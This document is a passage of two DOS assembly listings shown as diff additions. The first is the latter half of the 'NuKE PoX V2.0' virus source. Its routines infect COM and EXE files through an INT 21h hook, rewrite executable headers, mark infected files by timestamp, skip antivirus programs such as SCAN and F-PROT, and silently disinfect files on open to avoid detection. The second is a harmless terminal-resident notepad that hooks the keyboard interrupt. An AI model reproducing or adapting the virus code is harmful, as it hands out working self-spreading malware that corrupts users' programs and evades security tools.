pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
iret
|
||||
command2: jmp command_ret
|
||||
|
||||
exe_infect: mov cx,word ptr cs:[buffer+20]
|
||||
mov word ptr cs:[exe_ip],cx
|
||||
mov cx,word ptr cs:[buffer+22]
|
||||
mov word ptr cs:[exe_cs],cx
|
||||
mov cx,word ptr cs:[buffer+16]
|
||||
mov word ptr cs:[exe_sp],cx
|
||||
mov cx,word ptr cs:[buffer+14]
|
||||
mov word ptr cs:[exe_ss],cx
|
||||
push ax
|
||||
push dx
|
||||
call multiply
|
||||
sub dx,word ptr cs:[buffer+8]
|
||||
mov word ptr cs:[vir_cs],dx
|
||||
push ax
|
||||
push dx
|
||||
call infect_me
|
||||
pop dx
|
||||
pop ax
|
||||
mov word ptr cs:[buffer+22],dx
|
||||
mov word ptr cs:[buffer+20],ax
|
||||
pop dx
|
||||
pop ax
|
||||
jc exit
|
||||
add ax,virus_size
|
||||
adc dx,0
|
||||
push ax
|
||||
push dx
|
||||
call multiply
|
||||
sub dx,word ptr cs:[buffer+8]
|
||||
add ax,40h
|
||||
mov word ptr cs:[buffer+14],dx
|
||||
mov word ptr cs:[buffer+16],ax
|
||||
pop dx
|
||||
pop ax
|
||||
push bx
|
||||
push cx
|
||||
mov cl,7
|
||||
shl dx,cl
|
||||
mov bx,ax
|
||||
mov cl,9
|
||||
shr bx,cl
|
||||
add dx,bx
|
||||
and ax,1FFh
|
||||
jz outta_here
|
||||
inc dx
|
||||
outta_here: pop cx
|
||||
pop bx
|
||||
mov word ptr cs:[buffer+2],ax
|
||||
mov word ptr cs:[buffer+4],dx
|
||||
mov ah,40h
|
||||
mov dx,offset ds:[buffer]
|
||||
mov cx,20h
|
||||
call calldos21
|
||||
exit_exe: jmp exit_now
|
||||
rocko endp
|
||||
vir_cs dw 0
|
||||
exe_ip dw 0
|
||||
exe_cs dw 0
|
||||
exe_sp dw 0
|
||||
exe_ss dw 0
|
||||
exe_sz dw 0
|
||||
exe_rm dw 0
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Opening File handle AX=3D
|
||||
;-------------------------------------------------------------------------
|
||||
opening_file: call check_extension
|
||||
jnc open_fuck2
|
||||
call check_exten_exe
|
||||
jnc open_fuck2
|
||||
jmp dword ptr cs:[int21]
|
||||
open_fuck2: push ax
|
||||
mov ax,3d02h
|
||||
call calldos21
|
||||
jnc open_fuck1
|
||||
pop ax
|
||||
iret
|
||||
open_fuck1: push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
mov bx,ax
|
||||
mov ax,5700h
|
||||
call calldos21
|
||||
mov al,cl
|
||||
or cl,1fh
|
||||
dec cx ;60 Seconds
|
||||
xor al,cl
|
||||
jnz opening_exit3
|
||||
dec cx
|
||||
mov word ptr cs:[old_time],cx
|
||||
mov word ptr cs:[old_date],dx
|
||||
mov ax,4202h ;Yes Pointer to EOF
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call calldos21
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
push cx
|
||||
push dx
|
||||
sub dx,1Bh ;Get first 3 Bytes
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
call calldos21
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3fh ;Read them into Buffer
|
||||
mov cx,1Bh
|
||||
mov dx,offset buffer
|
||||
call calldos21
|
||||
xor cx,cx ;Goto Beginning of File
|
||||
xor dx,dx
|
||||
mov ax,4200h
|
||||
call calldos21
|
||||
mov ah,40h ;Write first three bytes
|
||||
mov dx,offset buffer
|
||||
mov cx,1Bh
|
||||
cmp word ptr cs:[buffer],5A4Dh
|
||||
je open_exe_jmp
|
||||
mov cx,3h
|
||||
open_exe_jmp: call calldos21
|
||||
pop dx ;EOF - Virus_Size
|
||||
pop cx ;to get ORIGINAL File size
|
||||
sub dx,virus_size
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
call calldos21
|
||||
mov ah,40h ;Fix Bytes
|
||||
xor cx,cx
|
||||
call calldos21
|
||||
mov cx,word ptr cs:[old_time]
|
||||
mov dx,word ptr cs:[old_date]
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
mov ah,3eh ;Close File
|
||||
call calldos21
|
||||
opening_exit3: pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[int21]
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Closing File Handle INFECT it!
|
||||
;-------------------------------------------------------------------------
|
||||
closing_file: cmp bx,0h
|
||||
je closing_bye
|
||||
cmp bx,5h
|
||||
ja close_cont
|
||||
closing_bye: jmp dword ptr cs:[int21]
|
||||
|
||||
close_cont: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
push bx
|
||||
mov ax,1220h
|
||||
int 2fh
|
||||
mov ax,1216h
|
||||
mov bl,es:[di]
|
||||
int 2fh
|
||||
pop bx
|
||||
add di,0011h
|
||||
mov byte ptr es:[di-0fh],02h
|
||||
add di,0017h
|
||||
cmp word ptr es:[di],'OC'
|
||||
jne closing_next_try
|
||||
cmp byte ptr es:[di+2h],'M'
|
||||
jne pre_exit
|
||||
jmp closing_cunt3
|
||||
closing_next_try:
|
||||
cmp word ptr es:[di],'XE'
|
||||
jne pre_exit
|
||||
cmp byte ptr es:[di+2h],'E'
|
||||
jne pre_exit
|
||||
closing_cunt: cmp word ptr es:[di-8],'CS'
|
||||
jnz closing_cunt1 ;SCAN
|
||||
cmp word ptr es:[di-6],'NA'
|
||||
jz pre_exit
|
||||
closing_cunt1: cmp word ptr es:[di-8],'-F'
|
||||
jnz closing_cunt2 ;F-PROT
|
||||
cmp word ptr es:[di-6],'RP'
|
||||
jz pre_exit
|
||||
closing_cunt2: cmp word ptr es:[di-8],'LC'
|
||||
jnz closing_cunt3
|
||||
cmp word ptr es:[di-6],'AE' ;CLEAN
|
||||
jnz closing_cunt3
|
||||
pre_exit: jmp closing_nogood
|
||||
closing_cunt3: mov ax,5700h
|
||||
call calldos21
|
||||
|
||||
mov al,cl
|
||||
or cl,1fh
|
||||
dec cx ;60 Seconds
|
||||
xor al,cl
|
||||
jz closing_nogood
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx
|
||||
mov word ptr ds:[old_date],dx
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call calldos21
|
||||
mov ah,3fh
|
||||
mov cx,1Bh
|
||||
mov dx,offset buffer
|
||||
call calldos21
|
||||
jc closing_no_good
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call calldos21
|
||||
jc closing_no_good
|
||||
cmp word ptr ds:[buffer],5A4Dh
|
||||
je closing_exe
|
||||
mov cx,ax
|
||||
sub cx,3h
|
||||
mov word ptr ds:[jump_address+1],cx
|
||||
call infect_me
|
||||
jc closing_no_good
|
||||
mov ah,40h
|
||||
mov dx,offset jump_address
|
||||
mov cx,3h
|
||||
call calldos21
|
||||
closing_no_good:
|
||||
mov cx,word ptr ds:[old_time]
|
||||
mov dx,word ptr ds:[old_date]
|
||||
mov ax,5701h
|
||||
call calldos21
|
||||
closing_nogood: pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[int21]
|
||||
closing_exe: mov cx,word ptr cs:[buffer+20]
|
||||
mov word ptr cs:[exe_ip],cx
|
||||
mov cx,word ptr cs:[buffer+22]
|
||||
mov word ptr cs:[exe_cs],cx
|
||||
mov cx,word ptr cs:[buffer+16]
|
||||
mov word ptr cs:[exe_sp],cx
|
||||
mov cx,word ptr cs:[buffer+14]
|
||||
mov word ptr cs:[exe_ss],cx
|
||||
push ax
|
||||
push dx
|
||||
call multiply
|
||||
sub dx,word ptr cs:[buffer+8]
|
||||
mov word ptr cs:[vir_cs],dx
|
||||
push ax
|
||||
push dx
|
||||
call infect_me
|
||||
pop dx
|
||||
pop ax
|
||||
mov word ptr cs:[buffer+22],dx
|
||||
mov word ptr cs:[buffer+20],ax
|
||||
pop dx
|
||||
pop ax
|
||||
jc closing_no_good
|
||||
add ax,virus_size
|
||||
adc dx,0
|
||||
push ax
|
||||
push dx
|
||||
call multiply
|
||||
sub dx,word ptr cs:[buffer+8]
|
||||
add ax,40h
|
||||
mov word ptr cs:[buffer+14],dx
|
||||
mov word ptr cs:[buffer+16],ax
|
||||
pop dx
|
||||
pop ax
|
||||
push bx
|
||||
push cx
|
||||
mov cl,7
|
||||
shl dx,cl
|
||||
mov bx,ax
|
||||
mov cl,9
|
||||
shr bx,cl
|
||||
add dx,bx
|
||||
and ax,1FFh
|
||||
jz close_split
|
||||
inc dx
|
||||
close_split: pop cx
|
||||
pop bx
|
||||
mov word ptr cs:[buffer+2],ax
|
||||
mov word ptr cs:[buffer+4],dx
|
||||
mov ah,40h
|
||||
mov dx,offset ds:[buffer]
|
||||
mov cx,20h
|
||||
call calldos21
|
||||
closing_over: jmp closing_no_good
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Infection Routine...
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
infect_me proc
|
||||
mov ah,40h
|
||||
mov dx,offset init_virus
|
||||
mov cx,virus_size
|
||||
call calldos21
|
||||
jc exit_error ;Error Split
|
||||
mov ax,4200h
|
||||
xor cx,cx ;Pointer back to
|
||||
xor dx,dx ;top of file
|
||||
call calldos21
|
||||
jc exit_error ;Split Dude...
|
||||
clc ;Clear carry flag
|
||||
ret
|
||||
exit_error:
|
||||
stc ;Set carry flag
|
||||
ret
|
||||
infect_me endp
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; DisInfection Routine for 4B
|
||||
;-------------------------------------------------------------------------
|
||||
Disinfect PROC
|
||||
push ax
|
||||
push bx ;Save them
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
mov ax,4300h ;Get file Attribs
|
||||
call calldos21
|
||||
test cl,1h ;Test for Normal Attribs
|
||||
jz okay_dis ;Yes, File can be opened
|
||||
and cl,0feh ;No, Set them to Normal
|
||||
mov ax,4301h ;Save attribs to file
|
||||
call calldos21
|
||||
jc half_way
|
||||
okay_dis: mov ax,3d02h ;File now can be opened
|
||||
call calldos21 ;Safely
|
||||
jc half_way
|
||||
mov bx,ax ;Put File Handle in BX
|
||||
mov ax,5700h ;Get File Time & Date
|
||||
call calldos21
|
||||
mov al,cl ;Check to see if infected
|
||||
or cl,1fh ;Unmask Seconds
|
||||
dec cx ;Test to see if 60 seconds
|
||||
xor al,cl
|
||||
jnz half_way ;No, Quit File AIN'T
|
||||
dec cx
|
||||
mov word ptr cs:[old_time],cx
|
||||
mov word ptr cs:[old_date],dx
|
||||
mov ax,4202h ;Yes, file is infected
|
||||
xor cx,cx ;Goto the End of File
|
||||
xor dx,dx
|
||||
call calldos21
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,dx ;Save Location into
|
||||
mov dx,ax ;CX:DX
|
||||
push cx ;Push them for later use
|
||||
push dx
|
||||
sub dx,1Bh ;Subtract file 1Bh from the
|
||||
sbb cx,0 ;End so you will find the
|
||||
mov ax,4200h ;Original EXE header or
|
||||
call calldos21 ;First 3 bytes for COMs
|
||||
mov ah,3fh ;Read them into Buffer
|
||||
mov cx,1Bh ;Read all of the 1B bytes
|
||||
mov dx,offset buffer ;Put them into our buffer
|
||||
call calldos21
|
||||
jmp half
|
||||
half_way: jmp end_dis
|
||||
half: xor cx,cx ;
|
||||
xor dx,dx ;Goto the BEGINNING of file
|
||||
mov ax,4200h
|
||||
call calldos21
|
||||
mov ah,40h ;Write first three bytes
|
||||
mov dx,offset buffer ;from buffer to COM
|
||||
mov cx,1Bh
|
||||
cmp word ptr cs:[buffer],5A4Dh
|
||||
je dis_exe_jmp
|
||||
mov cx,3h
|
||||
dis_exe_jmp: call calldos21
|
||||
pop dx ;Restore CX:DX which they
|
||||
pop cx ;to the End of FILE
|
||||
sub dx,virus_size ;Remove Virus From the END
|
||||
sbb cx,0 ;of the Orignal File
|
||||
mov ax,4200h ;Get new EOF
|
||||
call calldos21
|
||||
mov ah,40h ;Write new EOF to File
|
||||
xor cx,cx
|
||||
call calldos21
|
||||
mov cx,word ptr cs:[old_time]
|
||||
mov dx,word ptr cs:[old_date]
|
||||
mov ax,5701h
|
||||
call calldos21
|
||||
mov ah,3eh ;Close File
|
||||
call calldos21
|
||||
end_dis: pop ds
|
||||
pop dx
|
||||
pop cx ;Restore 'em
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
disinfect ENDP
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Check File Extension DS:DX ASCIIZ
|
||||
;--------------------------------------------------------------------------
|
||||
Check_extension PROC
|
||||
push si
|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,256h
|
||||
loop_me: cmp byte ptr ds:[si],2eh
|
||||
je next_ok
|
||||
inc si
|
||||
loop loop_me
|
||||
next_ok: cmp word ptr ds:[si+1],'OC'
|
||||
jne next_1
|
||||
cmp byte ptr ds:[si+3],'M'
|
||||
je good_file
|
||||
next_1: cmp word ptr ds:[si+1],'oc'
|
||||
jne next_2
|
||||
cmp byte ptr ds:[si+3],'m'
|
||||
je good_file
|
||||
next_2: pop cx
|
||||
pop si
|
||||
stc
|
||||
ret
|
||||
good_file: pop cx
|
||||
pop si
|
||||
clc
|
||||
ret
|
||||
Check_extension ENDP
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Check File Extension DS:DX ASCIIZ
|
||||
;-------------------------------------------------------------------------
|
||||
Check_exten_exe PROC
|
||||
push si
|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,256h
|
||||
loop_me_exe: cmp byte ptr ds:[si],2eh
|
||||
je next_ok_exe
|
||||
inc si
|
||||
loop loop_me_exe
|
||||
next_ok_exe: cmp word ptr ds:[si+1],'XE'
|
||||
jne next_1_exe
|
||||
cmp byte ptr ds:[si+3],'E'
|
||||
je good_file_exe
|
||||
next_1_exe: cmp word ptr ds:[si+1],'xe'
|
||||
jne next_2_exe
|
||||
cmp byte ptr ds:[si+3],'e'
|
||||
je good_file_exe
|
||||
next_2_exe: pop cx
|
||||
pop si
|
||||
stc
|
||||
ret
|
||||
good_file_exe: pop cx
|
||||
pop si
|
||||
clc
|
||||
ret
|
||||
Check_exten_exe ENDP
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Call Int_21h Okay
|
||||
;-------------------------------------------------------------------------
|
||||
calldos21 PROC
|
||||
pushf
|
||||
call dword ptr cs:[int21]
|
||||
retn
|
||||
calldos21 ENDP
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; MultiPly
|
||||
;--------------------------------------------------------------------------
|
||||
multiply PROC
|
||||
push bx
|
||||
push cx
|
||||
mov cl,0Ch
|
||||
shl dx,cl
|
||||
xchg bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
and ax,0Fh
|
||||
add dx,bx
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
multiply ENDP
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Check for AV file... Like SCAN.EXE or F-PROT.EXE
|
||||
;-------------------------------------------------------------------------
|
||||
Check_4_av PROC
|
||||
push si
|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,256h
|
||||
av: cmp byte ptr ds:[si],2eh
|
||||
je av1
|
||||
inc si
|
||||
loop av
|
||||
av1: cmp word ptr ds:[si-2],'NA'
|
||||
jnz av2
|
||||
cmp word ptr ds:[si-4],'CS'
|
||||
jz fuck_av
|
||||
av2: cmp word ptr ds:[si-2],'NA'
|
||||
jnz av3
|
||||
cmp word ptr ds:[si-4],'EL'
|
||||
jz fuck_av
|
||||
av3: cmp word ptr ds:[si-2],'TO'
|
||||
jnz not_av
|
||||
cmp word ptr ds:[si-4],'RP'
|
||||
jz fuck_av
|
||||
not_av: pop cx
|
||||
pop si
|
||||
clc
|
||||
ret
|
||||
fuck_av: pop cx
|
||||
pop si
|
||||
stc
|
||||
ret
|
||||
Check_4_av ENDP
|
||||
msg db "NuKE PoX V2.0 - Rock Steady"
|
||||
old_time dw 0
|
||||
old_date dw 0
|
||||
file_handle dw 0
|
||||
jump_address db 0E9h,90h,90h
|
||||
buffer db 90h,0CDh,020h ;\
|
||||
db 18h DUP (00) ;-Make 1Bh Bytes
|
||||
last:
|
||||
seg_a ends
|
||||
end start
|
||||
;==========================================================================
|
||||
;=========================================================================
|
|
@ -0,0 +1,271 @@
|
|||
INTERRUPTS SEGMENT AT 0H ;This is where the keyboard interrupt
|
||||
ORG 9H*4 ;holds the address of its service routine
|
||||
KEYBOARD_INT LABEL DWORD
|
||||
INTERRUPTS ENDS
|
||||
|
||||
SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the
|
||||
SCREEN ENDS ;Extra Segment
|
||||
|
||||
ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer
|
||||
|
||||
ORG 1AH
|
||||
HEAD DW ? ;Unread chars go from Head to Tail
|
||||
TAIL DW ?
|
||||
BUFFER DW 16 DUP (?) ;The buffer itself
|
||||
BUFFER_END LABEL WORD
|
||||
|
||||
ROM_BIOS_DATA ENDS
|
||||
|
||||
CODE_SEG SEGMENT
|
||||
ASSUME CS:CODE_SEG
|
||||
ORG 100H ;ORG = 100H to make this into a .COM file
|
||||
FIRST: JMP LOAD_PAD ;First time through jump to initialize routine
|
||||
|
||||
CNTRL_N_FLAG DW 0 ;Cntrl-N on or off
|
||||
PAD DB '_',499 DUP(' ') ;Memory storage for pad
|
||||
PAD_CURSOR DW 0 ;Current position in pad
|
||||
PAD_OFFSET DW 0 ;Chooses 1st 250 bytes or 2nd
|
||||
FIRST_POSITION DW ? ;Position of 1st char on screen
|
||||
ATTRIBUTE DB 112 ;Pad Attribute -- reverse video
|
||||
SCREEN_SEG_OFFSET DW 0 ;0 for mono, 8000H for graphics
|
||||
IO_CHAR DW ? ;Holds addr of Put or Get_Char
|
||||
STATUS_PORT DW ? ;Video controller status port
|
||||
OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt
|
||||
|
||||
N_PAD PROC NEAR ;The keyboard interrupt will now come here.
|
||||
ASSUME CS:CODE_SEG
|
||||
PUSH AX ;Save the used registers for good form
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSHF ;First, call old keyboard interrupt
|
||||
CALL OLD_KEYBOARD_INT
|
||||
|
||||
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
|
||||
MOV BX,ROM_BIOS_DATA
|
||||
MOV DS,BX
|
||||
MOV BX,TAIL ;Point to current tail
|
||||
CMP BX,HEAD ;If at head, kbd int has deleted char
|
||||
JE IN ;So leave
|
||||
SUB BX,2 ;Point to just read in character
|
||||
CMP BX,OFFSET BUFFER ;Did we undershoot buffer?
|
||||
JAE NO_WRAP ;Nope
|
||||
MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top
|
||||
SUB BX,2
|
||||
NO_WRAP:MOV DX,[BX] ;Char in DX now
|
||||
CMP DX,310EH ;Is the char a Cntrl-N?
|
||||
JNE NOT_CNTRL_N ;No
|
||||
MOV TAIL,BX ;Yes -- delete it from buffer
|
||||
NOT CNTRL_N_FLAG ;Switch Modes
|
||||
CMP CNTRL_N_FLAG,0 ;Cntrl-N off?
|
||||
JNE CNTRL_N_ON ;No, only other choice is on
|
||||
CNTRL_N_OFF:
|
||||
MOV ATTRIBUTE,7 ;Set up for normal video
|
||||
MOV PAD_OFFSET,250 ;Point to 2nd half of pad
|
||||
LEA AX,PUT_CHAR ;Make IO call Put_Char as it scans
|
||||
MOV IO_CHAR,AX ;over all locations in pad on screen
|
||||
CALL IO ;Restore screen
|
||||
IN: JMP OUT ;Done
|
||||
CNTRL_N_ON:
|
||||
MOV PAD_OFFSET,250 ;Point to screen stroage part of pad
|
||||
LEA AX,GET_CHAR ;Make IO use Get_char so current screen
|
||||
MOV IO_CHAR,AX ;is stored
|
||||
CALL IO ;Store Screen
|
||||
CALL DISPLAY ;And put up the pad
|
||||
JMP OUT ;Done here.
|
||||
NOT_CNTRL_N:
|
||||
TEST CNTRL_N_FLAG,1 ;Is Cntrl-N on?
|
||||
JZ IN ;No -- leave
|
||||
MOV TAIL,BX ;Yes, delete this char from buffer
|
||||
CMP DX,5300H ;Decide what to do -- is it a Delete?
|
||||
JNE RUBOUT_TEST ;No -- try Rubout
|
||||
MOV BX,249 ;Yes -- fill pad with spaces
|
||||
DEL_LOOP:
|
||||
MOV PAD[BX],' ' ;Move space to current pad position
|
||||
DEC BX ;and go back one
|
||||
JNZ DEL_LOOP ;until done.
|
||||
MOV PAD,'_' ;Put the cursor at the beginning
|
||||
MOV PAD_CURSOR,0 ;And start cursor over
|
||||
CALL DISPLAY ;Put up the new pad on screen
|
||||
JMP OUT ;And take our leave
|
||||
RUBOUT_TEST:
|
||||
CMP DX,0E08H ;Is it a Rubout?
|
||||
JNE CRLF_TEST ;No -- try carriage return-line feed
|
||||
MOV BX,PAD_CURSOR ;Yes -- get current pad location
|
||||
CMP BX,0 ;Are we at beginning?
|
||||
JLE NEVER_MIND ;Yes -- can't rubout past beginning
|
||||
MOV PAD[BX],' ' ;No -- move space to current position
|
||||
MOV PAD[BX-1],'_' ;And move cursor back one
|
||||
DEC PAD_CURSOR ;Set the pad location straight
|
||||
NEVER_MIND:
|
||||
CALL DISPLAY ;And put the result on the screen
|
||||
JMP OUT ;Done here.
|
||||
CRLF_TEST:
|
||||
CMP DX,1C0DH ;Is it a carriage return-line feed?
|
||||
JNE CHAR_TEST ;No -- put it in the pad
|
||||
CALL CRLF ;Yes -- move to next line
|
||||
CALL DISPLAY ;And display result on screen
|
||||
JMP OUT ;Done.
|
||||
CHAR_TEST:
|
||||
MOV BX,PAD_CURSOR ;Get current pad location
|
||||
CMP BX,249 ;Are we past the end of the pad?
|
||||
JGE PAST_END ;Yes -- throw away char
|
||||
MOV PAD[BX],DL ;No -- move ASCII code into pad
|
||||
MOV PAD[BX+1],'_' ;Advance cursor
|
||||
INC PAD_CURSOR ;Increment pad location
|
||||
PAST_END:
|
||||
CALL DISPLAY ;Put result on screen
|
||||
OUT: POP ES ;Having done Pushes, here are the Pops
|
||||
POP DS
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
IRET ;An interrupt needs an IRET
|
||||
N_PAD ENDP
|
||||
|
||||
DISPLAY PROC NEAR ;Puts the whole pad on the screen
|
||||
PUSH AX
|
||||
MOV ATTRIBUTE,112 ;Use reverse video
|
||||
MOV PAD_OFFSET,0 ;Use 1st 250 bytes of pad memory
|
||||
LEA AX,PUT_CHAR ;Make IO use Put-Char so it does
|
||||
MOV IO_CHAR,AX
|
||||
CALL IO ;Put result on screen
|
||||
POP AX
|
||||
RET ;Leave
|
||||
DISPLAY ENDP
|
||||
|
||||
CRLF PROC NEAR ;This handles carriage returns
|
||||
CMP PAD_CURSOR,225 ;Are we on last line?
|
||||
JGE DONE ;Yes, can't do a carriage return, exit
|
||||
NEXT_CHAR:
|
||||
MOV BX,PAD_CURSOR ;Get pad location
|
||||
MOV AX,BX ;Get another copy for destructive tests
|
||||
EDGE_TEST:
|
||||
CMP AX,24 ;Are we at the edge of the pad display?
|
||||
JE AT_EDGE ;Yes -- fill pad with new cursor
|
||||
JL ADD_SPACE ;No -- Advance another space
|
||||
SUB AX,25 ;Subtract another line-width
|
||||
JMP EDGE_TEST ;Check if at edge now
|
||||
ADD_SPACE:
|
||||
MOV PAD[BX],' ' ;Add a space
|
||||
INC PAD_CURSOR ;Update pad location
|
||||
JMP NEXT_CHAR ;Check if at edge now
|
||||
AT_EDGE:
|
||||
MOV PAD[BX+1],'_' ;Put cursor in next location
|
||||
INC PAD_CURSOR ;Update pad location to new cursor
|
||||
DONE: RET ;And out.
|
||||
CRLF ENDP
|
||||
|
||||
GET_CHAR PROC NEAR ;Gets a char from screen and advances position
|
||||
PUSH DX
|
||||
MOV SI,2 ;Loop twice, once for char, once for attribute
|
||||
MOV DX,STATUS_PORT ;Get ready to read video controller status
|
||||
G_WAIT_LOW: ;Start waiting for a new horizontal scan -
|
||||
IN AL,DX ;Make sure the video controller scan status
|
||||
TEST AL,1 ;is low
|
||||
JNZ G_WAIT_LOW
|
||||
G_WAIT_HIGH: ;After port has gone low, it must go high
|
||||
IN AL,DX ;before it is safe to read directly from
|
||||
TEST AL,1 ;the screen buffer in memory
|
||||
JZ G_WAIT_HIGH
|
||||
MOV AH,ES:[DI] ;Do the move from the screen, one byte at a time
|
||||
INC DI ;Move to next screen location
|
||||
DEC SI ;Decrement loop counter
|
||||
CMP SI,0 ;Are we done?
|
||||
JE LEAVE ;Yes
|
||||
MOV PAD[BX],AH ;No -- put char we got into the pad
|
||||
JMP G_WAIT_LOW ;Do it again
|
||||
LEAVE: INC BX ;Update pad location
|
||||
POP DX
|
||||
RET
|
||||
GET_CHAR ENDP
|
||||
|
||||
PUT_CHAR PROC NEAR ;Puts one char on screen and advances position
|
||||
PUSH DX
|
||||
MOV AH,PAD[BX] ;Get the char to be put onto the screen
|
||||
MOV SI,2 ;Loop twice, once for char, once for attribute
|
||||
MOV DX,STATUS_PORT ;Get ready to read video controller status
|
||||
P_WAIT_LOW: ;Start waiting for a new horizontal scan -
|
||||
IN AL,DX ;Make sure the video controller scan status
|
||||
TEST AL,1 ;is low
|
||||
JNZ P_WAIT_LOW
|
||||
P_WAIT_HIGH: ;After port has gone low, it must go high
|
||||
IN AL,DX ;before it is safe to write directly to
|
||||
TEST AL,1 ;the screen buffer in memory
|
||||
JZ P_WAIT_HIGH
|
||||
MOV ES:[DI],AH ;Move to screen, one byte at a time
|
||||
MOV AH,ATTRIBUTE ;Load attribute byte for second pass
|
||||
INC DI ;Point to next screen postion
|
||||
DEC SI ;Decrement loop counter
|
||||
JNZ P_WAIT_LOW ;If not zero, do it one more time
|
||||
INC BX ;Point to next char in pad
|
||||
POP DX
|
||||
RET ;Exeunt
|
||||
PUT_CHAR ENDP
|
||||
|
||||
IO PROC NEAR ;This scans over all screen positions of the pad
|
||||
ASSUME ES:SCREEN ;Use screen as extra segment
|
||||
MOV BX,SCREEN
|
||||
MOV ES,BX
|
||||
MOV DI,SCREEN_SEG_OFFSET ;DI will be pointer to screen postion
|
||||
ADD DI,FIRST_POSITION ;Add width of screen minus pad width
|
||||
MOV BX,PAD_OFFSET ;BX will be pad location pointer
|
||||
MOV CX,10 ;There will be 10 lines
|
||||
LINE_LOOP:
|
||||
MOV DX,25 ;And 25 spaces across
|
||||
CHAR_LOOP:
|
||||
CALL IO_CHAR ;Call Put-Char or Get-Char
|
||||
DEC DX ;Decrement character loop counter
|
||||
JNZ CHAR_LOOP ;If not zero, scan over next character
|
||||
ADD DI,FIRST_POSITION ;Add width of screen minus pad width
|
||||
LOOP LINE_LOOP ;And now go back to do next line
|
||||
RET ;Finished
|
||||
IO ENDP
|
||||
|
||||
LOAD_PAD PROC NEAR ;This procedure intializes everything
|
||||
ASSUME DS:INTERRUPTS ;The data segment will be the Interrupt area
|
||||
MOV AX,INTERRUPTS
|
||||
MOV DS,AX
|
||||
|
||||
MOV AX,KEYBOARD_INT ;Get the old interrupt service routine
|
||||
MOV OLD_KEYBOARD_INT,AX ;address and put it into our location
|
||||
MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it.
|
||||
MOV OLD_KEYBOARD_INT[2],AX
|
||||
|
||||
MOV KEYBOARD_INT,OFFSET N_PAD ;Now load the address of our notepad
|
||||
MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt
|
||||
|
||||
MOV AH,15 ;Ask for service 15 of INT 10H
|
||||
INT 10H ;This tells us how display is set up
|
||||
SUB AH,25 ;Move to twenty places before edge
|
||||
SHL AH,1 ;Mult by two (char & attribute bytes)
|
||||
MOV BYTE PTR FIRST_POSITION,AH ;Set screen cursor
|
||||
MOV STATUS_PORT,03BAH ;Assume this is a monochrome display
|
||||
TEST AL,4 ;Is it?
|
||||
JNZ EXIT ;Yes - jump out
|
||||
MOV SCREEN_SEG_OFFSET,8000H ;No - set up for graphics display
|
||||
MOV STATUS_PORT,03DAH
|
||||
|
||||
EXIT: MOV DX,OFFSET LOAD_PAD ;Set up everything but LOAD_PAD to
|
||||
INT 27H ;stay and attach itself to DOS
|
||||
